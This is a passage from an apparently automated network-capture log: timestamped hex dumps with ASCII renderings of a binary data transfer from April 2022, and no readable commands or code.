4a 5a dc bb a9 0d 39 a6 b9 d4 67 89 a2 bf 92 49 15 a3 58 ce c6 e7 ef 0c 74 04 57 2b e7
Data Ascii: socnr:j>K2UWVImiq1SH"~i85vYww~n5Vuoev.)X?_-tk;qiX3Xfm\O"m$'/r[Wg~:N]#|zZ&l1]qx\_gJZ9gIXtW+
2022-04-08 08:02:42 UTC731INData Raw: 74 dd d1 16 6d eb f2 aa b7 dd e7 e9 c5 77 3e 1f b8 92 f3 49 58 cc ec cb 1f ca bb 9b fc f0 2b 86 d7 ad 7c bd 41 91 1b 72 b3 19 17 6f f0 e6 ba 7f 0f ea 86 d7 4b df 1b 6e da de 66 dd bf 2f 4c 75 ae ac 44 53 8d d6 e5 25 7d 0d 69 b4 94 99 bf 77 2a ab aa 95 fb df 2b 7f 93 59 77 5a 24 9b b8 8d 56 75 6f f5 8b f2 ab 2f a8 ad 65 b8 81 e6 fb 40 b6 f9 a4 51 fb bf bb b5 8f 6e 2b 52 05 7b 88 fc c4 db 13 c9 fc 3f c4 bf e1 5c 1c ce 1a 99 4a 2b 73 8c d5 6d 92 4b a8 ae ee 57 74 ad 18 8a 4d b1 85 dc aa 30 33 81 e9 de ac 7f 66 c7 e4 f9 96 cd 1a ee 5f bb b7 76 ee 3d 2b af 78 ed e0 92 20 f1 6e 66 fb db 7f 96 4f 4a cb d4 19 ec ee 37 a3 34 51 6e f9 a0 8d 77 6d ff 00 0a 15 79 49 d8 8d 6e 62 db d9 cf 6f 1c 02 75 59 fc b6 df b5 5b ee f1 df d7 e9 51 3f d9 9a 68 a4 8d 99 76 fc d2 2e
Data Ascii: tmw>IX+|AroKnf/LuDS%}iw*+YwZ$Vuo/e@Qn+R{?\J+smKWtM03f_v=+x nfOJ74QnwmyInbouY[Q?hv.
2022-04-08 08:02:42 UTC762INData Raw: 0c 3b e3 6d bd 15 59 7e 66 5e 4f 4c d5 2d 53 5a 8f e5 f3 57 ca b7 66 dc b2 2a fc cc be df fe aa 9b 4a b1 b7 d6 d9 50 2f 9b 12 b1 91 a4 dc bb b6 8e 99 6f 4a e7 94 54 53 9c 8d 1d 55 62 4d 2b 4b 47 92 2b b9 e5 66 89 be 5f de 28 56 6c 8e c3 9c 71 de ba 26 be b2 d3 f4 5b a1 04 0c b0 2b 6d 66 5c 3f 99 91 4c 78 e2 86 3f 35 5a 35 58 23 0b bb 76 e5 8f f1 fc 2b 3d 2d 63 f2 e7 b8 b2 fd fd ae ef 33 cc 5f ba cd ec b5 e2 d4 ac eb 3b bd 8f 3a a5 49 4b d0 bd 6d a5 c5 6d 23 de 18 99 67 6c 2c 4b 1b 33 2a f4 c6 dc 81 8a d8 fb 1c 56 30 ff 00 a7 ca b1 7c bb 5b 6c 9b 5b 9e a0 67 d6 b1 ec ef 27 fe cf fe d4 bc 81 63 95 58 79 5b 9b ef 37 f2 00 7d 2b 9c f1 06 a1 26 bd 34 16 e6 55 f2 a2 53 24 97 3f de eb 8e b5 cc a9 d4 ad 2d 5e 8b 76 61 ac b5 6c 8f 52 f1 43 d8 c7 3c 1a 64 be 7c 5e
Data Ascii: ;mY~f^OL-SZWf*JP/oJTSUbM+KG+f_(Vlq&[+mf\?Lx?5Z5X#v+=-c3_;:IKmm#gl,K3*V0|[l[g'cXy[7}+&4US$?-^valRC<d|^
2022-04-08 08:02:42 UTC802INData Raw: b7 7f 17 f9 e2 a8 dc 3f 98 df ed 7f b3 fd 2a 44 92 35 55 c7 de ff 00 77 ef 66 a5 94 89 ae 2e 4c 70 b1 f3 d5 a5 6f 97 6a fc df 29 f7 35 4d a6 9e 75 c4 8d b9 63 51 b7 75 43 33 0d df 34 5f f0 1f f0 a1 a4 fd db 02 db 77 7d e5 dd b7 ff 00 d7 49 20 2e 69 77 c9 63 23 99 3e ec 8a 55 a3 5f 95 9a ba 0d 36 e6 c1 f7 03 03 6c 5c 6d 8d 9b f8 88 20 fd 2b 91 b6 78 d9 b1 bb 73 2e 76 ff 00 76 b6 74 39 24 9a 66 8e 4f 95 36 fc cc bf 79 7f 0a ce a4 55 ae 52 64 da c3 22 b3 dc 5b 40 bb 36 fc cc cb f7 5b 38 ef 58 93 33 bb 79 cf f7 9b e6 ad ab f4 8e 4b 76 49 25 f9 17 3b 64 5f e2 c1 ed ed 58 3e 76 f6 52 7f d4 2a 95 5f f7 68 a7 b0 0f b9 73 0c 6a a1 7e 5d bf c3 fc 2c 6a 94 31 95 65 93 72 ee fb df ee d4 b7 33 14 8f 66 df bd 51 59 db 4b 75 33 15 5d df 2f cc d5 b9 06 95 9d bb dc 4c ff
Data Ascii: ?*D5Uwf.Lpoj)5MucQuC34_w}I .iwc#>U_6l\m +xs.vvt9$fO6yURd"[@6[8X3yKvI%;d_X>vR*_hsj~],j1er3fQYKu3]/L
2022-04-08 08:02:42 UTC830INData Raw: c5 65 dc c9 f6 6b eb 64 b4 b9 6b 64 9f e5 99 97 2a bb 73 da b4 3c 41 a3 db c3 63 78 6c ef 1b cb 8d 77 2e e5 fb ac 3d 0f 6f c2 a7 99 68 bb 8d 22 be 9f 1d b5 c5 f5 c9 2b fb cf 34 fc df ec 8e bc 1a dd 85 5e c2 65 48 20 fd fb 29 91 76 e7 76 ca e4 74 3d 4a 05 b5 8a 31 3e eb cd c1 7c bf bc ad f3 67 39 ae b3 fe 12 2b cb 08 d6 78 20 8e 58 22 cc 92 33 2e f5 5f af 4a 89 a6 51 95 e2 7b 57 b1 d4 22 49 77 6f 8e 3d db 5b f8 59 8e 6b 1f 5a 7f 33 c8 92 05 da bc c6 cd f7 97 8e ff 00 53 5a 9a 95 bd d6 b7 1b 5f 98 b7 79 bf 37 97 1f f0 af fe 85 56 ed a1 b3 93 4f 83 e5 da bf c5 b9 bf 8e aa 32 e5 49 b1 6e cc 44 b0 92 15 62 17 77 97 1f cc dc 7e 95 a9 6f 1c 77 16 71 0f b3 32 ba a9 f3 1b eb d0 d1 79 72 7c c9 6d c2 ed 5f 2f ef 7d ee bc 54 a9 6f a8 db ee 11 cf b7 f7 5f c4 a3 f5 a3
Data Ascii: ekdkd*s<Acxlw.=oh"+4^eH )vvt=J1>|g9+x X"3._JQ{W"Iwo=[YkZ3SZ_y7VO2InDbw~owq2yr|m_/}To_
2022-04-08 08:02:42 UTC854INData Raw: 7e 87 04 0a fa 03 c6 7e 30 bc d3 fc 49 a5 5f d9 4a d1 79 b2 08 97 73 6c 5f 9b 9f 9b f9 57 c5 5e 11 f1 90 b3 d6 b4 3b 88 e5 ff 00 45 8e 53 b7 77 dd 55 c8 eb eb cd 7d 73 f1 17 43 17 5a 2c 0f 3c ea bb 63 12 af cd ed 91 fa 57 74 1a 6d f9 a1 26 db 3d 57 c1 3e 34 1e 28 b3 9e 0b b5 f2 af 62 63 1c b1 b7 de dd 55 e3 d3 64 6f 11 34 9f 36 e8 db e5 5f ad 79 af 81 ee 12 da 38 af 43 37 db e4 c4 52 b2 b7 de db d3 de bd 45 f5 c8 23 da e6 25 95 66 f9 59 be eb 2d 6f e4 46 c7 73 a5 4d f6 7b 7f 28 dc f9 bb 5b e6 69 3e 56 5a ab e2 78 e2 8e c5 a4 33 c6 cf f7 be f5 63 b2 c8 d0 c5 1d ae d9 5b 6e ef f6 b6 9f 4f 5a c9 d6 16 4b 79 3c 99 5b 72 ff 00 17 cd f3 28 eb 4d 0a e7 17 e2 ed 56 77 85 65 b7 dc bb 5b e6 f9 aa df 83 2e 2e 63 58 93 73 6c 93 ee fc bf c5 f8 d5 f4 d1 04 90 ca 9e 6a
Data Ascii: ~~0I_Jysl_W^;ESwU}sCZ,<cWtm&=W>4(bcUdo46_y8C7RE#%fY-oFsM{([i>VZx3c[nOZKy<[r(MVwe[..cXslj
2022-04-08 08:02:42 UTC901INData Raw: b9 e7 8c 62 ac f8 3e 5b 7f 0e eb 17 96 d3 ea 76 3e 1e 8a 35 dc b2 4f 21 dd 36 7b 0f f6 4a f7 3f 85 72 97 3e 27 9f c3 36 f6 7a 25 e2 ae a1 14 38 6f 31 64 29 b5 4f d3 8f d6 ab f8 aa de 7f 16 ea 8d 25 bc b2 c1 04 91 f9 b0 47 72 c1 b7 27 46 65 3e 9c 74 af 5e a5 39 e2 17 2d 47 68 be a6 7a 5b dd dc f5 ad 79 3c 19 e3 4b 8b 9b cd 1e 56 82 fe d6 3f f4 95 59 f6 2c 8c 3f 8e 36 5f bf 9e e7 e5 35 8b e3 8d 6a de eb 41 80 3d f6 e5 95 44 5e 64 f9 65 55 1d 7e 6c ff 00 fa eb c6 a4 d2 91 1a d9 ed 25 69 5f ee fc bf 79 97 ae 7e 95 6e db 58 b4 d5 2c 6e 6d 2e 74 c5 bc 68 d4 b2 cf e7 c8 ad 1f 7e 99 da 40 35 c7 1c af d9 4e 2e 33 72 51 fb c5 ed 1e ac eb 34 b4 92 db c4 4b 1c 8d b9 2c d7 74 8b b8 aa 79 6a 33 b7 8f 9b 9f e7 5b be 1a f1 96 8f 0e 8b 3a 59 6d b1 b8 67 78 e5 b6 9a e4 f9
Data Ascii: b>[v>5O!6{J?r>'6z%8o1d)O%Gr'Fe>t^9-Ghz[y<KV?Y,?6_5jA=D^deU~l%i_y~nX,nm.th~@5N.3rQ4K,tyj3[:Ymgx
2022-04-08 08:02:42 UTC933INData Raw: 4b ad 6a 72 42 b6 51 45 ba ea df cb 8f cc 93 e4 55 72 9c 9f 72 2b f3 9c f9 54 af 59 28 ca cb fa dc e6 93 f7 8e e3 52 8f 46 bc 8e 2b c2 d2 40 b6 cc 59 95 57 6a c8 e0 7c bf 5e 7d 2b cc 56 c6 da 6f 1d 59 eb 37 f1 49 b9 72 d1 5b 33 6d 48 fe 5e 0b 7b e7 91 5d fc 9a a4 76 76 31 e9 47 cb 9e e2 35 0d f6 96 61 ba 49 9b bd 73 da dc 36 5a 3a b4 fa 9d b7 db 16 79 fc ad d0 48 19 f7 63 3c 13 d3 e6 c6 7d 2b c8 cb d4 94 b9 15 f5 d3 e4 6f 0b 68 71 f7 d7 51 f8 83 c4 1a 9e a6 ff 00 2d bc 5b 20 8f f8 5b 8e 7a 7e b5 47 4b d3 f5 7b e8 e0 31 5f 40 cb 72 df ba 82 45 0a cc 84 ff 00 0e 7f 88 f2 bf 4a b1 ad f8 74 5f f9 b0 44 df f1 31 8d 5e e6 4b 68 d8 fe ed b1 c7 e1 8a 86 d7 49 bf b9 b7 b3 b7 bd 95 6e 60 b7 61 2c 6d 3b 6d f2 f2 7d 47 27 af 4a fb 3b 28 c2 d1 7b 1b 47 57 73 d3 21 b1
Data Ascii: KjrBQEUrr+TY(RF+@YWj|^}+VoY7Ir[3mH^{]vv1G5aIs6Z:yHc<}+ohqQ-[ [z~GK{1_@rEJt_D1^KhIn`a,m;m}G'J;({GWs!
2022-04-08 08:02:42 UTC989INData Raw: 5e 5d 58 89 2e e3 4b 79 1b f7 8d f7 7c 9f 52 7d 45 17 d0 8d 91 5b 6f da 55 8c 7b 95 76 96 6d df 2f cd e8 2b 36 68 e4 55 c2 2b 6d 5a d8 d6 12 de 3b a6 8e d2 e5 a5 b5 8d bf 76 df 77 cc e7 af d2 b2 ae 92 e6 e5 97 64 4c df c3 bb 9f c2 ad 05 ee 55 65 8d 23 57 fe 1d df c5 53 2c 25 97 31 ff 00 77 e6 a1 a1 12 4c 91 cb 2f 94 cb 9f 95 97 6a ab 0e d5 2a 5a ed 85 4e ef 95 bf f1 da 19 24 f6 d6 e8 d1 b9 93 fc b0 a4 2d e7 49 c3 33 37 f1 35 3a 1b ef 26 1f 2c c1 bf 77 dd 6a 76 e3 fb df e1 6f bd b6 92 bf 52 8b 56 b0 ed 5d ff 00 fa 0b 57 49 e1 94 75 be 5d ea db 77 09 3e 6f 95 6b 0a c6 3d eb 90 ca ab f7 ab a5 f0 f5 8d cd c6 a1 67 1f 94 ca d3 c8 16 35 5f bc d9 38 1c 52 7b 3b 92 7e 8f e8 7a d4 7e 26 f0 de 99 a9 a7 ca d7 50 23 34 6b f7 55 b1 cf e4 6a d5 b6 37 63 ef 25 64 78 6d
Data Ascii: ^]X.Ky|R}E[oU{vm/+6hU+mZ;vwdLUe#WS,%1wL/j*ZN$-I375:&,wjvoRV]WIu]w>ok=g5_8R{;~z~&P#4kUj7c%dxm
2022-04-08 08:02:42 UTC1013INData Raw: 7b 7f 95 22 f9 99 5b fb be de d5 e8 fe 2c d3 62 b1 d5 27 d3 ef 60 fb 34 f1 c4 19 6e 63 f9 95 94 f3 c1 5f eb 59 16 b6 1a 7f 87 a1 8a e6 2f 33 6c eb fe bd 54 33 2e 7b 1f ad 6d f5 a7 52 17 ef b1 0d 33 3e cf 4a b6 8e 39 67 b2 f3 1a 55 6f 99 76 fc aa a3 ef 1c ff 00 4a af ac 36 9f e1 fb e8 ae 3c a6 6b 89 62 dd b7 76 ed bd 89 fa d7 5d f6 cb 69 95 5e ca 55 95 77 7c cb f7 5d 7f 0a a3 75 19 d3 55 6e c4 51 ca 8b 95 6f 3d 43 ed cf f7 73 58 46 a3 e6 f7 ae 0e fc a7 11 1e 9f 25 c5 c4 b3 dc f9 92 b3 28 65 f3 fe 5d ab ef 9a cf d4 bc 3f 64 f6 b3 98 e5 58 ae 22 c2 bc 7b b7 2f 3e 95 d5 c9 a6 bd f5 d4 4f 1d f4 90 2a a6 f5 8d bd fa 80 39 cd 69 da f8 55 2f fe 74 8a 09 e0 dd b7 cc 8d 47 dd e4 9f fe bd 76 fd 63 d9 b5 26 c1 29 6e 79 4d 9d 83 dc 5c 7c 8a bb e3 f9 b6 b7 cb bb da ae
Data Ascii: {"[,b'`4nc_Y/3lT3.{mR3>J9gUovJ6<kbv]i^Uw|]uUnQo=CsXF%(e]?dX"{/>O*9iU/tGvc&)nyM\|
2022-04-08 08:02:42 UTC1045INData Raw: 63 96 3b 6b 85 40 ac bb 4f cc bd f3 ee 7b d4 51 8c bd e7 d1 fd c6 8d 58 ad e2 08 46 8b ab 2f 9b e4 5c b3 47 e6 7c b2 ee eb 9c 7e 35 4e d7 58 dd 70 b1 9b 65 68 db ef 2b 7f 7b d7 d2 a5 d7 b4 7b 68 66 89 ed 2f 23 9d dd 7f 77 b5 bf 13 8f c7 a5 65 32 cb 6d 27 ef 22 f3 f7 49 fc ab d6 84 54 a9 ae af ee 32 91 73 58 bc 91 2f a5 12 41 1e df e1 92 3f 7e 9d 2b 2e f1 2e ee bc a9 63 f3 37 37 d3 6b 30 ad 99 a3 b7 d7 21 89 c6 ec 2a fd df bb bb e9 52 89 2c ed d7 ec 72 ab 79 5e 56 e8 e4 83 ef 6e fa 7a 55 c6 5c b1 b7 60 8e c6 2c 9f 66 78 f7 c0 ac b3 ab 6d 93 f8 95 ab 5a d6 fe f6 4d b2 2e a0 d1 34 8b b5 96 36 2b b5 47 03 da a8 c9 e6 2e 9e b6 91 b4 0c ab 27 98 cb b7 6b ab 0f 7a b5 75 ba c3 4b 89 d3 ef 37 f1 2f cb f3 75 aa f2 19 7a c7 55 96 38 e7 82 49 59 a2 56 fe f6 e6 dd d7
Data Ascii: c;k@O{QXF/\G|~5NXpeh+{{hf/#we2m'"IT2sX/A?~+..c77k0!*R,ry^VnzU\`,fxmZM.46+G.'kzuK7/uzU8IYV
2022-04-08 08:02:42 UTC1116INData Raw: ed 9f cc 1b 59 be 55 da 6b 2a c2 d5 ee 2f be d0 f0 46 c9 14 7b 9b a2 b7 d7 9e b5 a8 ae 1d 94 40 b1 ce ac bf 75 b2 b5 33 9a 6a c3 23 9a 34 be f3 fc a9 56 22 b2 6e 8d 5b fa 1a bf 67 aa cf f2 a4 96 cd 3f 95 f7 59 5b f5 a8 a6 f0 f5 ed 8a c5 3f ee db cc fd e6 d8 db 76 df ae 2a c5 be ab 3d b5 ae 25 8b 73 c9 f7 5a 35 1e b5 c7 51 a9 46 d1 d4 76 32 7c 72 a7 6d 9d da af c9 1e 63 66 5f ef 7a 55 4b 1d 62 37 85 5c 75 db b7 fe 05 5d 2d fd b1 f1 0d ba c1 2b 2f ee 3f 79 e5 af cb f8 fa 1a cb d5 3c 3b 2d 9b 28 82 db 6c 5b 46 ed d8 de b9 15 74 6a 46 31 51 96 e2 5d 89 2d 75 eb bd 2d 76 06 dc b2 b7 98 d1 b7 f1 7a 1a d2 b8 ba bb bf 68 0b ac 71 7f 7b c8 f9 56 3f 41 f9 56 45 e5 b3 6e 82 39 db c8 45 5d cd e6 2f cd fe 4d 6b a2 e9 6d 67 12 41 7d e6 dd 7d e6 5d bb 77 7f fa a8 a9 c8
Data Ascii: YUk*/F{@u3j#4V"n[g?Y[?v*=%sZ5QFv2|rmcf_zUKb7\u]-+/?y<;-(l[FtjF1Q]-u-vzhq{V?AVEn9E]/MkmgA}}]w
2022-04-08 08:02:42 UTC1148INData Raw: a5 bf 95 64 5f 9b ee fc bf f0 1a f5 4d 6b 50 4f 1a 78 36 5b 4b 8b 6f f8 99 69 ea 65 8a e7 6f fa c4 51 f3 0c f5 07 15 e4 aa c1 7e 4d bf 75 ab ea 70 33 94 a9 72 54 f8 a3 a7 fc 12 cd 68 75 23 b7 11 33 6f 6f bd fd de 3d 33 50 de 58 bc 3b 24 11 79 4b 2e 1b e5 6f e9 54 6d 59 da ea 2d 8a cc db bf bd 5d 4c 90 a3 c2 b2 96 5f 3e 3c ae d6 ae b9 7b 8f 41 99 f6 fa 53 b4 2a 5e 55 66 6f 9b 6e ef e1 fa fa d7 43 a5 5c 44 d6 37 56 69 13 2a f9 4f e5 f5 f9 bf 0f 7a c9 4b a8 9d 5b cf 65 5f f9 e7 b7 ff 00 ad da b4 34 5f 31 e4 df 69 b5 af 15 9d 57 6f f0 ae 3d 6b 09 b7 6d 4a b9 8b 6d 62 eb 22 fc df 2f f7 ab 52 c1 36 cc c3 e6 db fe 7a d5 1b 64 7f 33 0f b7 72 b1 ad 8d 2d 76 48 df c5 fc 35 da 9d b7 11 d7 78 31 8b 5c 2e 7f 87 e6 fc bb 57 aa 6a b6 fb b4 d8 8b ae ed b2 0f f7 79 eb f5
Data Ascii: d_MkPOx6[KoieoQ~Mup3rThu#3oo=3PX;$yK.oTmY-]L_><{AS*^UfonC\D7Vi*OzK[e_4_1iWo=kmJmb"/R6zd3r-vH5x1\.Wjy
2022-04-08 08:02:42 UTC1196INData Raw: e5 e7 59 6c d5 59 62 66 ce e8 d3 ae 47 a7 b5 60 fc 5c f1 54 1a a5 8c 56 51 5e 5c dc db 34 86 49 16 39 36 af be 7d 7f 1a f6 70 14 f9 71 30 ba d3 ad 8d e9 a8 c6 3c d6 3e 76 d2 b5 0d 42 6d 5b ec f6 73 c8 ab cb 49 e6 7f 12 8a 66 ad ad 33 4d 2a 3a b4 b7 0d 21 66 66 f9 95 7d 31 8a f6 2d 1f c2 3a 77 86 74 fb 3b 89 60 69 75 1d 4f 2b 12 ed 0d b7 22 b1 75 cf 06 d8 68 b6 77 29 2a c1 15 c7 fa cf 32 45 2c cc bf ec f6 af af fa ed 19 d4 d1 7f c1 14 9d 92 3c df 44 ce a1 79 2c b2 cf b6 28 b1 bb 77 f7 ab 7e c1 e5 d4 ae 3c bb 66 f2 2c e3 93 fd 7f f1 2f 3c d6 55 b7 87 b5 0d 62 e9 ad f4 b8 a3 8a 0e 77 4f 3b 04 4d d8 24 e4 9f a7 15 b5 e1 95 b2 8d 60 b2 d4 2d a7 b6 95 be f3 2e 55 7d b1 f5 ef 5d 55 7d d8 b9 21 46 56 67 4d 67 1c 76 36 ab 07 9f e6 b4 6d fb ad bf de 27 ab 57 73 e2
Data Ascii: YlYbfG`\TVQ^\4I96}pq0<>vBm[sIf3M*:!ff}1-:wt;`iuO+"uhw)*2E,<Dy,(w~<f,/<UbwO;M$`-.U}]U}!FVgMgv6m'Ws
2022-04-08 08:02:42 UTC1212INData Raw: da f5 c8 6d 74 ab 1f 0d d9 99 59 57 cb 5f 9b cb 6f e3 e7 8a ea af 59 52 b5 95 ee 3b 5f 73 cf 74 ab 59 be ce d7 93 b2 b2 c6 bf 2a ee f5 fe 75 57 fb 4b ca 8f 1e 6b 6f 91 8c 8d f3 7d d5 35 b9 ad dd 45 71 63 2a 69 cd 1a a7 97 e6 48 df 77 f0 ae 16 f2 f0 bc 2a 81 7e 6f ba b5 74 af 3d 58 ed 63 5a fb c4 0f 0a fd 9a 0b 96 66 91 7c bd bf ec 9f 6a c7 ba d4 2d ad e1 f2 c2 6e b8 dd f3 36 ed cb f4 a8 1a ce 07 87 74 b3 aa cf fe cf cd 59 8c 15 1b 69 55 dc b5 dd 0a 71 b1 9d 8f 46 f0 9a bd fb 46 62 5f 93 fd 9f bd 5e 87 0e 94 f1 c7 be 76 55 4f e1 6f e1 6a e2 3c 13 7c 9a 7e 83 15 c9 65 89 a3 62 d1 c7 fc 52 35 7a 66 94 b1 bd aa dd f9 1f 79 93 6f 99 f3 7f 9c 57 cd e3 67 28 cd 92 e4 cb da 2d 8d c6 9f 24 b1 a4 1e 53 4b fe ad 99 47 dd e8 71 9e a2 ba 5d 52 de db 4f 86 0f 29 a3 be
Data Ascii: mtYW_oYR;_stY*uWKko}5Eqc*iHw*~ot=XcZf|j-n6tYiUqFFb_^vUOoj<|~ebR5zfyoWg(-$SKGq]RO)
2022-04-08 08:02:42 UTC1259INData Raw: 15 5f c7 3e 06 83 5b f0 ad e4 fe 54 73 dc 2a ee 8e ee d3 0f f3 28 e6 3e 39 4c fa 57 9d 86 c5 d3 c2 d4 f6 15 16 97 56 ff 00 31 a9 72 bb 1e 6f e1 3f 17 5d e8 f3 4b 34 ff 00 66 b9 b0 7c 6e 8e 36 f9 b7 03 c3 37 f7 69 9e 2d fe c7 b9 d0 67 bc 11 b2 df db 4a 3c c8 37 7c ac 8e 7b 77 e3 f9 57 9d 6a ba 6e b1 a5 cd e5 fc cd 6f 2e 24 f2 e3 6f bc 99 c6 78 f7 1d eb d3 74 5f 09 e9 5e 22 d0 76 5c 6a b2 69 97 9b 76 c7 e6 31 d8 de 91 b0 39 e8 7b d7 d3 57 a7 4e 83 55 af a3 7d 05 29 e8 d1 e7 f6 0d 66 fb 67 0a d0 37 3b 77 7c ca dd ba 66 a7 9a c1 19 96 44 59 22 5f f6 7e 55 ab 1e 30 f8 7b ff 00 08 4f d9 a4 37 2d a9 db c9 ff 00 2d 20 52 aa cd e9 93 c6 7b fd 2a 83 cd 3a 47 99 e5 fd d7 0d b7 86 65 5e c3 35 d5 19 46 a2 53 a7 2b a6 72 59 8e b7 59 e3 66 11 ae ed bf de fe 1a 54 6f b6
Data Ascii: _>[Ts*(>9LWV1ro?]K4f|n67i-gJ<7|{wWjno.$oxt_^"v\jiv19{WNU})fg7;w|fDY"_~U0{O7-- R{*:Ge^5FS+rYYfTo
2022-04-08 08:02:42 UTC1283INData Raw: fd ac e7 71 3f dd ae 68 d0 71 4e ac 5d 94 51 d5 ca ad a9 97 ac 59 e9 f7 2d fd 8f 67 14 fa 7b ff 00 ac 96 e5 64 0a ac 83 27 1f 97 a8 aa 9e 2c f0 bd df 89 fc 32 b2 e9 d6 2a ba 6e 9b 85 8e 35 65 67 93 d5 bf 13 dc f7 ed 5e 8d 79 e1 33 7c d2 e6 e6 da c6 c2 4c ab 4f b4 bc b2 2e 39 e3 eb 57 ec f4 34 d2 ac 74 c8 a2 96 d9 a0 8b ef 6d 55 46 91 07 4d d4 e3 98 2a 7c b2 a6 ee d7 7f c4 e4 92 57 3c a3 c1 be 00 b8 7d 42 c6 ef 57 be 92 7b a8 22 fd d5 8c 8b b9 23 6c 70 32 3d 33 d0 57 9e fc 63 f8 75 ff 00 08 96 a1 05 cf ee d8 5f 4e f2 ba aa fe ee 37 1c 95 fc 73 fd 2b e9 4d 52 fa 0f 39 af 65 d3 1b cf 55 76 8e 4d db 5b cb 5e f8 cf 7a f1 1f 8c 5a e4 fe 28 d0 74 c9 ee 20 58 3c cb d9 12 38 d5 4f dc 1c 67 dc 57 bb 94 62 b1 15 b1 8a 52 7e eb d1 af 93 68 21 f1 58 f2 86 f1 03 dd 79
Data Ascii: q?hqN]QY-g{d',2*n5eg^y3|LO.9W4tmUFM*|W<}BW{"#lp2=3Wcu_N7s+MR9eUvM[^zZ(t X<8OgWbR~h!Xy
2022-04-08 08:02:42 UTC1339INData Raw: 76 da a4 25 3c 37 f6 99 65 f2 27 91 7e 65 8d 7f 13 8c 7b 62 bc dd da c2 1b 56 9f 53 96 09 5b 76 eb 68 e0 6f 9d 72 38 dd 9e f5 d1 86 9a ab ab 57 b1 9c ac f6 2b f8 79 af 5f 54 8a cc ae db 29 18 2c 8c ca 5f 6e 78 c0 ea 09 ae d9 bc 3b 1c 97 92 ed 5f 36 28 fe 6d db 7e 58 70 4f 7e 32 d5 9b a5 5c 5c df aa c5 a6 6e fb 3c 71 85 f3 3c b0 ab 1b 95 1d fb e0 7e b5 34 7a c4 b6 36 f7 d0 3b 33 22 b6 df 95 b6 af 4e bf 8e 6b 1a 92 95 49 da 29 23 38 ae e5 c4 d0 43 5b b5 cd 94 16 90 5e af fa a9 24 c7 dd 3c e4 7b 9a 75 c5 ac 57 57 09 b2 d9 a7 d4 15 53 e6 dc 3f 78 d8 c6 47 fb 35 ce 5d 6a 02 6b 18 3e c9 07 9b 3f 99 e5 7c ac 59 57 b7 27 3e f4 b6 ba c4 ba 05 e5 c8 bc b9 69 6f e3 63 1c 4b ce e5 41 c7 5f 7c d6 ce 94 e4 bc cd 15 8e 96 ea d8 db f9 a6 28 16 38 97 f8 be f7 3c 93 fc ea
Data Ascii: v%<7e'~e{bVS[vhor8W+y_T),_nx;_6(m~XpO~2\\n<q<~4z6;3"NkI)#8C[^$<{uWWS?xG5]jk>?|YW'>iocKA_|(8<
2022-04-08 08:02:42 UTC1355INData Raw: 7d 16 c3 52 9a 23 fd 9e ad 34 9f ea a4 93 e6 ea 3a 9f ee e0 57 73 e1 ed 04 d8 2b 46 20 56 b7 89 b6 b4 eb 1e d4 dd e8 7f 0e d5 bb 73 a5 58 78 4b c3 f1 4b e4 7f 68 6a 92 a8 69 ff 00 77 ef c0 51 53 dc 78 92 7d 63 4d 8b 4a 9d a0 b5 b5 5c b7 d9 ad 97 6f e7 ef 59 55 9a e5 f7 9e 9d 0d e3 49 47 77 a9 c9 eb 56 ff 00 da 97 8b 69 67 3c 76 d0 41 10 8b cc fe ef b8 5a a9 67 65 1c 2a b6 97 17 32 5e 22 a9 92 49 e4 c2 ae ee df 4a d3 bc b0 b7 b7 91 6d ec 95 6d a1 56 f3 2e 5a 4f 9b 73 fb 77 cd 49 63 6d 1a 5d 62 5b 98 fc a5 5f 96 3f ef 73 ef d2 bc b9 54 d7 4d 8b 8d 3e 63 9d 7d 69 2c ef 25 b1 b3 d3 7e d3 13 2e e6 91 97 72 b7 e3 d6 b5 2c f4 7b 63 a7 b4 b0 6e 83 6c 7b 57 77 cb df 93 8f 6a 8e 6b ab 65 d4 2f ad ed e0 92 da 48 f1 e6 b7 f0 b2 fa 67 fa 55 b8 63 5b 98 e5 96 76 fb 0a
Data Ascii: }R#4:Ws+F VsXxKKhjiwQSx}cMJ\oYUIGwVig<vAZge*2^"IJmmV.ZOswIcm]b[_?sTM>c}i,%~.r,{cnl{Wwjke/HgUc[v
2022-04-08 08:02:42 UTC2824INData Raw: 35 a5 cb 79 92 7c a9 b4 ed 55 6f ba dd ab 2d 6d 83 47 be 59 77 9d db 76 d4 89 67 1c cd 17 95 b9 b7 37 cc bb bf 86 ab 91 3d 48 bb 46 c5 8e ab 70 8a c9 6d 3b 2a 37 fa c5 5f 95 76 9a b3 f6 68 ad b4 f5 96 f2 09 27 56 6f dd fc df 2e da ce 44 f2 5b c8 2b e5 6e fb bf c3 ba a7 fb 1c b7 0d e5 ed dd 2f fc b3 59 32 ab 27 d2 b1 92 51 2b a6 a4 da 4c 7a 75 c4 8d 04 4a d1 4a cd b9 59 9b 76 ef a9 fa d4 ef a0 fd 82 66 7d 4e 55 89 a3 ff 00 96 6c d5 4a eb 43 d4 e4 99 d2 48 96 d6 55 f9 95 57 e5 f9 68 9b ed 77 0d 6d 25 e4 fe 7b 2a ed 5d df d6 b2 f8 b5 8b 12 d1 68 47 a9 4d 65 7d b4 58 34 88 ff 00 75 95 be ef e5 da ab e8 9a 4c f6 73 79 f2 33 2a c7 fd 7b d6 86 93 a5 db a4 92 bd ce df 97 2d b7 76 df ca ad 69 fa 82 5e 5e 4b 18 6f 22 28 a3 db b5 bf bd 5a c6 eb 4e 85 25 d5 87 86 2e
Data Ascii: 5y|Uo-mGYwvg7=HFpm;*7_vh'Vo.D[+n/Y2'Q+LzuJJYvf}NUlJCHUWhwm%{*]hGMe}X4uLsy3*{-vi^^Ko"(ZN%.
2022-04-08 08:02:42 UTC2840INData Raw: fd 6b 96 d3 ef f4 db c9 b1 fb b8 11 9b e6 dd f7 9b e9 5d 72 6b 96 56 da 7d cc 09 79 e7 c4 cb b6 08 d7 3b 97 d4 e2 bc fa fc f1 92 e5 5f 81 a4 5a b6 a6 db de 59 e9 56 b0 4e df ba 96 5c 79 6d c7 cd eb d7 af bd 25 fe b9 be 4f f4 cb 68 19 a5 fb cd 1e 37 2a a8 c2 8f 5a f3 bd 4b 5a 97 5c be 88 4a d2 6f 55 da ad bb ee e3 af 15 ac b7 93 e9 b1 b0 8d 7c f5 db f3 34 eb fc 3f 5e b5 cf 1c 2f 2a bc 9e a3 52 6c 87 58 df f6 a9 d2 3f 96 26 f9 95 7f 95 52 b5 d5 a4 d2 d9 94 c1 b5 e4 56 56 6f ef 29 aa 97 97 57 33 49 e6 9f dd 27 3b 6a 5d 36 38 e4 b8 cc 8d e6 3a ff 00 c0 bf 5a f4 a3 14 a3 66 2b bb dd 1b 7a 2d ac 71 c9 6d 3d e7 de dc 3e ef cb b5 3e 95 d1 df f8 cc 5c 